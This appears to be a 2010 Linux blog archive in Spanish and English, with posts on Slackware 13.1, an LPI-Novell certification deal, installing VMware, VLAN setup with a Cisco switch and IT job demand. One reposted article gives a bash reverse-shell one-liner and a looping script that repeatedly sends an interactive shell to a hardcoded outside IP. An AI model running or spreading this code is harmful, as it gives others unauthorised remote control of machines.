jueves, 17 de junio de 2010

Slackware 13.1 Released

 Well, well, it seems that I'm a little out of date, I said this because I thought that I was caring of the new Slackware Release, that already it's 13.1, and it's been since May 19th 2010. 
A few improvements are as follows: 
  • Runs the 2.6.33.4 version of the Linux kernel.
  • New packing format (since Slackware 13.0) is .txz, that brings a bettet file compression.
  • gcc-4.4.4
  • Support for fully encrypted network connections with OpenSSL,
      OpenSSH, OpenVPN, and GnuPG.
  • The KDE Software Compilation 4.4.3 


As many camarades know, I do really like this distro, because it bring me total control of my operating system, so I can really configure it as much as I want.
Well, I really expect that testing was enough because once I decided to install Slackware 13.0 and KDE version that came with it was really failing every time, so I finally decided to downgrade to the last stable version to KDE and I made an hybrid distro between Slackware 12.2 KDE desktop manager and Slackware 13.0 base system, but oh! oh! my touchpad didn't go well, I wondered, why? and a few days later I found the answer, graphics server Xorg doesn't need xorg.conf anymore, so I thought where can I configure my mouse or my touchpad??? Bah!!! lets reinstall Slackware 12.2 and leave those problems to be solved in the next release.


It seems that time has come, and I'll try again the latest release of Slackware, 13.1. 


It can be downloaded from here. 

Acuerdo Novell-LPI sobre certificación común

Rulando por Internet me encontré esta información bastante útil para quienes nos interesa el mundo Linux.


Se firma acuerdo  para certificación dual .....

Novell y el Instituto Profesional de Linux(LPI) Socios en Formación Linux y Procesos de Certificación

(SACRAMENTO, CA , US y WALTHAM, MA, US:  09 de Febrero del 2010) Novell Inc. y el Instituto Profesional de Linux (LPI) anuncian hoy  un acuerdo de Partners a nivel internacional para estandarizar sus programas de certificación de nivel junior o principiante en torno al LPIC-1. Dentro de este programa, los profesionales Linux que hayan alcanzado  la certificación LPIC-1 estarán satisfaciendo los requerimientos para la certificación Novell® Certified Linux Administrator (CLA). Y para demostrar un mayor apoyo, los Servicios de Formación de Novell han aceptado formalmente incluir los objetivos de formación del LPIC-1 en el material de estudio de su curso CLA.

 

“Como un reconocido proveeedor de software empresarial y servicios por más de 25 años, y el proveedor de la plataforma Linux más interoperable, Novell está muy bien posicionada para ofrecer  un exhaustivo programa de formación que asegura a los profesionales Linux poder lograr la reconocida certificación LPIC-1, facilitándoles a ellos el poder cumplir con los diversos requerimientos que exige un Centro de Datos en cuanto habilidades técnicas y confianza”, dijo Markus rex, Director General Vicepresidente senior de la Plataforma Abierta de Soluciones de Novell.

 

La elección de  Linux,  incluyendo SUSE® Linux Enterprise de Novell, se está acelerando desde el momento en que la industria busca soluciones que ahorren costes y que al mismo tiempo sea fiable y manejable. Un estudio global realizado en 2009 entre ejecutivos IT reveló que el 40 %   de los participantes piensa adquirir soluciones Linux adicionales para los siguientes 12-24 meses y el 49 % indicó que Linux será su principal plataforma de servidores de aquí a cinco años.

 

“ Este Acuerdo de Partners da una idea del enorme apoyo que el programa de certificación LPI tiene entre las amplias comunidades IT y Linux . Este apoyo histórico ha incluido contribuciones de proveedores como Novell y ha ayudado a LPI a transformarse en la certificación Linux más ampliamente reconocida y aceptada,” dijo Jim Lacey, presidente y CEO de LPI. “Esperamos expectantes poder trabajar conjuntamente con Novell para promover el desarrollo de la fuerza de trabajo Linux del futuro. En particular,  al alinear sus programas de estudio con los objetivos del LPIC-1, Novell ha reconocido la necesidad de la industria de contar con un programa de certificación independiente de proveedores y que prepare a los profesionales IT para trabajar con cualquier distribución Linux en el ambiente empresarial.”

 

Según los términos del acuerdo,  todos aquellos* que posean la certificación LPIC-1 tendrán la oportunidad de solicitar la certificación CLA de Novell sin necesidad de exámenes o pagos adicionales. El Servicio de Formación de Novell va a incluir los objetivos de LPIC-1 en el programa de estudio de su Linux Administrator y en programas que incluyen auto-estudio, bajo demanda, y presencial (* Este programa no está disponible en Japón)

 

 

“ En su condición de Partner de Formación Autorizado dentro del programa de partner de Novell, , SwitchDesk ha formado el personal IT de algunas de las empresas lideres del país como Ford Motor Company, Boeing, Macromedia, NASA y muchas más, afirmó Chris Clark, Pesidente y CEO de SwitchDesk Inc. “Nos alegra constatar el acuerdo de partner entre Novell y LPI que permite  desarrollar contenidos de cursos con objetivos alineados y  proveer certificaciones duales de tal forma que nuestros clientes poseerán una amplia gama de habilidades profesionales.”

 

Más información sobre como adquirir la certificación dual puede ser encontrada en Novell aquí:

www.needURL.com   y  en Linux Professional Institute aquí: www.lpi.org/cla

 

 

Sobre Novell:

Novell, Inc (Nasdaq:NOVL) prove la plataforma Linux* más interoperable y un portafolio de software de gestión IT integrado que ayuda a sus clientes alrededor del mundo a reducir costes, complejidad y riesgos. Con  nuestro software de infraestructura y ecosistema de Partners, Novell integra armónicamente entornos IT heterogeneos, permitiendo a la gente y la tecnología trabajar como uno solo. Por más información visite www.novell.com

 

 

Sobre el Instituto Profesional de Linux:

El Instituto Profesional de Linux promueve y certifica capacidades esenciales en Linux y tecnologías del Código Abierto a través de la creación de exámenes altamente comprensibles, de gran calidad y además independientes de cualquier distribución.

Establecido como un organismo internacional sin animo de lucro en Setiembre de 1999 y siendo una demanda de la comunidad Linux, el Instituto Profesional de Linux sigue demostrando un claro liderazgo en la certificación de profesionales Linux a nivel mundial. LPI ayuda a avanzar al movimiento Linux y Open Source a través de sus socios estratégicos, patrocinadores, programas innovadores, y actividades con la comunidad. Los mayores patrocinadores financieros de LPI son : los patrocinadores Platinium IBM, Linux Journal, Linux Magazine, Novell, SGI, y TurboLinux, como así también los patrocinadores Oro HP e IDG

Desde 1999, LPI ha realizado más de 230.000 exámenes y otorgado 75.000 certificaciones LPIC en todo el mundo.


Fuente Original del documento aquí


jueves, 13 de mayo de 2010

Phoning home from bash

Muy interesante artículo sobre telefonía desde una consola bash.
Revision 0.0, 22 January 2002

Bash can create an outgoing connection to a netcat listener in one line of code. This is a reverse telnet session.
1. Why
There are a couple of possible applications for this technique (if your version of bash supports it):
A dial-up machine can yield control to a central agency when it arrives on the internet. (This is great if you trust your routers...)
Control of a machine behind certain types of firewall (`just copy and paste this to your command line, and I'll sort your problem out')
It's a really fun thing to run instead of idonce you have a non-interactive shell on a machine by using the perl open '|command' bug) (I have code which does this ...)
Nobody seems to have done it before. All the other solutions I have seen utilise two pipes and two instances of telnet or netcat on the server side. Scripting of telnet is prone to error because of delay conditions, and netcat may not be available on the client side (although if it is, netcat -e can get you quite far sometimes).
2. How to
2.1 Client side stuff

On the client side, netcat listens for an incoming call.
netcat -l -p 22222

2.2 Server side stuff

On the server side, an interactive bash session is started, with input, output and error messages redirected to an outgoing TCP connection.
bash -i >& /dev/tcp/101.102.103.104/22222 0>&1

Probably your IP address is not 101.102.103.104 (it's reserved) so you can replace that with your own IP address.

3. Bugs
Job control doesn't work, since there is no terminal.
Ctrl+C doesn't work so well.
It's only one line.
Some distributions compile bash without support for special /dev/tcp handling. Hack into an different distribution if this happens to you.

4. Script
Here's a script which phones us repeatedly - very nice for remote support through a firewall.
#! /bin/bash
IP=196.30.113.3
PORT=65534
WHOAMI="`whoami`@`hostname -f`"
echo "
/////////////////////////////////////////////////
//
// This script is sending a shell as the user
// $WHOAMI to the address
// $IP (port $PORT)
//
/////////////////////////////////////////////////

"
while true; do
echo "`date`: Sending shell to $IP:$PORT"
{
echo "Welcome, $WHOAMI"
bash -i
} <> /dev/tcp/$IP/$PORT 1>&0 2>&1 &
sleep 10
done

Of course, you probably don't want to run this on your server without changing your IP addresses.

5. Licence

How do you licence one line of source code? You would have to be a little silly.

Fuente aquí.

Fuentes LPIC

A quien le interese, aquí dejo un par de excelentes referencias sobre el mundo linux, concretamente son ligas referentes al LPIC.

Como sabrán, los exámenes del LPI (Linux Professional Institute) certifican un mínimo de conocimiento sobre la administración de un sistema operativo Linux, dejando de lado la distribución, es decir, se enfoca en el conocimiento a fondo del sistema y su administración a través de la shell (para los no natos, es una consola de administración tipo MS-DOS, pero posee un lenguaje de programación de scripts propio, el cual ningún sistema Windos posee).

Descargas:

  • Linux 101 Examination, Modular Training Notes. PDF
  • Linux 102 Examination, Modular Training Notes. PDF
  • Linux 101 Examination, Modular Training Notes. OpenOffice Documents here.
  • Linux 102 Examination, Modular Training Notes. OpenOffice Documents here.

La fuente original de las descargas la encuentras aquí.

Como habrás de saber, para aprobar el nivel Junior del LPI, debes aprobar los exámenes LPI 101 y LPI 102.

lunes, 3 de mayo de 2010

Instalando VMWare 7.0.0 en Slackware


Bien, pues para que nadie sufra como yo al instalar vmware en mi slackware por primera vez, aquí posteo como se debe de hacer.

  1. Descargar los paquetes desde la página oficial, te pide registro para darte acceso a los links y para enviarte por correo una clave que funcionará por 30 días.
  2. Una vez descargado el archivo de instalación, copiarlo al directorio /usr/src (esto es para mantener cierto control sobre la paquetería que no tiene formato nativo de slackware)
    cp ~/VMware-Workstation-7.0.0-203739.i386.bundle /usr/src , recuerda que la tilde (~) indica el directorio de usuario donde lo descargaste.
  3. Cambiar al directorio /usr/src y ejecutar como usuario (no como superusuario) el comando kdesu sh VMware-Workstation-7.0.0-203739.i386.bundle
    Te pedirá la contraseña del administrador (en este caso es root)
  4. Se abrirá una ventana que te pregunta si aceptas los términos, hacer click en "I agree" y en "next" tantas veces como te lo pregunte hasta llegar a "Install"
  5. Esperar a que termine el copiado de los archivos, y, si todo ha ido sin problemas llegará al cuadro de diálogo que dice "Installation was successfull".
  6. Ahora, como todos sabemos, Slackware no es como las demás distros, sino que es bastante peculiar, en este caso me referiré a los modos de arranque que son (puedes verificarlo en el archivo /etc/inittab):

          # 0 = halt
    # 1 = single user mode
    # 2 = unused (but configured the same as runlevel 3)
    # 3 = multiuser mode (default Slackware runlevel)
    # 4 = X11 with KDM/GDM/XDM (session managers)
    # 5 = unused (but configured the same as runlevel 3)
    # 6 = reboot

De donde observamos que el runlevel para el arranque gráfico es el 4 y no el 5, como es el caso de las demás distros, por lo tanto si reinicias la máquina nunca arrancará el vmware ya que por default, el instalador coloca los scripts de inicio en la carpeta correspondiente al runlevel 5. Para arreglar ese pequeño problema hará falta copiar los archivos K08vmware y S19vmware ubicados en el directorio /etc/rc.d/rc5.d al directorio /etc/rc.d/rc4.d, entonces introducir el comando
cp /etc/rc.d/rc5.d/* /etc/rc.d/rc4.d

Hasta aquí la entrada sobre cómo instalar vmware en nuestra distro slackware.

Para iniciarlo bastará en una shell teclear vmware &

Dudas por favor postear y responderé...

viernes, 30 de abril de 2010

vlan configuration - Linux and Cisco Catalyst L2

first install linux PC routernya use, up to want to wear anything ... but if I still use slackware. information, download the VLAN package at http://www.candelatech.com/ ~ greear /



extract tar-zxvf *. tar.gz vlan (make sure the kernel is in use already support 802.1q) "but surely if we are using sekarang2 kernel must have support browww" into the vlan directory and build with the make command .... after the build up vconfig. this program to manage all vlan configurations.
[vlan-0.JPG]

ok ".. do it"

first turn off eth0 on linux pc router [# ifconfig eth0 down], we activate the eth0 interface by giving ip 0.0.0.0 [# ifconfig eth0 0.0.0.0 up].

vlan address configuration information [vconfig add eth0 # 1] order to enable vlan 1, then the system will create a device linux vlan0001.
vlan0001 given ip at [# ifconfig-i vlan0001 192.168.1.1 netmask 255.255.255.0 broadcast 192.168.1.255 up]

see by using the command [# ifconfig-a]
command to do the same in well to create another vlan

vlan 2:
# vconfig add eth0 2
# ifconfig-i vlan0002 192.168.2.1 netmask 255.255.255.0 broadcast 192.168.2.255

vlan 3:
# vconfig add eth0 3
# ifconfig-i vlan0003 192.168.3.1 netmask 255.255.255.0 broadcast 192.168.3.255

So much configuration on the linux system, now entered into the console or telnet cisco catalyst, and then give the fa0/24 trunk mode in order to synchronize with a PC eth0 on linux router has the configuration, well here it is the configuration

# conf t

# interface FastEthernet0/24

# duplex full
speed # 100
# switchport trunk encapsulation dot1q
# switchport mode trunk

the right to synchronize between your PC and router linux Catalystnya ... then we stepped into the last event ... ie eating hehehe. ngak wall.
last step we are binding vlan configuration on the PC linux router to an existing port on the Catalyst

vlan 1 on port 1, then we must provide a configuration like this:
# conf t
# interface FastEthernet0 / 1
# duplex half
# switchport access vlan 1
# switchport mode access

vlan 2 on port 2, then we must provide a configuration like this:
# conf t
# interface FastEthernet0 / 2
# duplex half
# switchport access vlan 2
# switchport mode access

vlan port 3 on 3, then we must provide a configuration like this:
# conf t
# interface FastEthernet0 / 3
# duplex half
# switchport access vlan 3
# switchport mode access

finished ..

NOTA: La información fue tomada desde aqui, yo no soy el autor. Sólo que se me hizo algo útil y decidí postearlo.

martes, 30 de marzo de 2010

Rising demand for SQL, Linux skills

Bien, para aquéllos que saben un poco de Inglés, aquí dejo esto.

=========================================================



SQL, C#, .NET and Linux are four skill areas that have seen a rising trend in demand, according to a new report from the Recruitment and Employment Confederation (REC).

 

The Technology Demand and Supply Q4 2009 report, produced for REC by sector skills council e-skills UK, found that these were the only skill areas where demand increased for two consecutive quarters.

 

There were a total 82,000 advertised vacancies for IT staff, and 71,000 staff looking for new or additional jobs in Q4 2009 (a 42 percent quarterly increase), according REC's report.

 

In the skills area, advertisements for staff with SQL skills were the most prominent, with 20,000 adverts counted in the period. There were 10,600 adverts for workers with C#, 9,500 for .NET and 5,300 for Linux skills.

 

Demand for nearly all skills fell in the period compared with Q4 2008. Only demand for PHP and AJAX skills grew in Q4 2009 compared with the same period in 2008, 17 percent and six percent, respectively.

 

In terms of occupation, the highest demand was for system developers in Q4 2009. There were 24,900 vacancies advertised during this period, followed by systems administrator (4,600 vacancies).

 

Systems developer was one of six job categories, out of a total of 20, to see an increase in demand over two consecutive quarters. Other positions that saw a rise in demand included projects manager, senior systems developer, business analyst, PC support analyst and senior test analyst.

 

Demand for web designers dropped the most compared with Q3 2009, falling 18 percent.

 

The report highlighted C#, systems developers, senior systems developers and senior test analysts as areas that would be "relatively difficult" for recruiters over the near term due to skills shortages.


Fuente: http://www.itworldcanada.com/news/rising-demand-for-sql-linux-skills/140255